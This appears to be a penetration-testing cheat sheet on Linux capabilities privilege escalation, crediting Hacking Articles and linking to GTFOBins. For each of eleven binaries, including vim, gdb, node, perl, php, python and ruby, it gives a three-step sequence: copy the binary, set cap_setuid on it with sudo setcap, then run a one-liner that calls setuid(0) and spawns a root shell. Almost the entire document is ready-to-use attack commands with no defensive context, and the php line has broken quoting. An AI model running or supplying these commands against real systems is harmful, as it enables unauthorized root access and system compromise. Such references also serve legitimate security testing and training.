

Capabilities Privilege Escalation

vimdiff

- ① `cp $(which vimdiff) .`
- ② `sudo setcap cap_setuid+ep vimdiff`
- ③ `./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'`

gdb

- ① `cp $(which gdb) .`
- ② `sudo setcap cap_setuid+ep gdb`
- ③ `./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit`

vim

- ① `cp $(which vim) .`
- ② `sudo setcap cap_setuid+ep vim`
- ③ `./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'`

node

- ① `cp $(which node) .`
- ② `sudo setcap cap_setuid+ep node`
- ③ `./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'`

view

- ① `cp $(which view) .`
- ② `sudo setcap cap_setuid+ep view`
- ③ `./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'`

perl

- ① `cp $(which perl) .`
- ② `sudo setcap cap_setuid+ep perl`
- ③ `./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'`

rvim

- ① `cp $(which rvim) .`
- ② `sudo setcap cap_setuid+ep rvim`
- ③ `./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'`

php

- ① `cp $(which php) .`
- ② `sudo setcap cap_setuid+ep php`
- ③ `CMD="/bin/sh"`
- ④ `./php -r 'posix_setuid(0); system('$CMD);'`

rview

- ① `cp $(which rview) .`
- ② `sudo setcap cap_setuid+ep rview`
- ③ `./rview -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'`

python

- ① `cp $(which python) .`
- ② `sudo setcap cap_setuid+ep python`
- ③ `./python -c 'import os; os.setuid(0); os.system("/bin/sh")'`

ruby

- ① `cp $(which ruby) .`
- ② `sudo setcap cap_setuid+ep ruby`
- ③ `./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'`

@hackinarticles



<https://github.com/Ignitetechnologies>



<https://in.linkedin.com/company/hackingarticles>



<https://gtfobins.github.io/gtfobins/gdb/#capabilities>

Source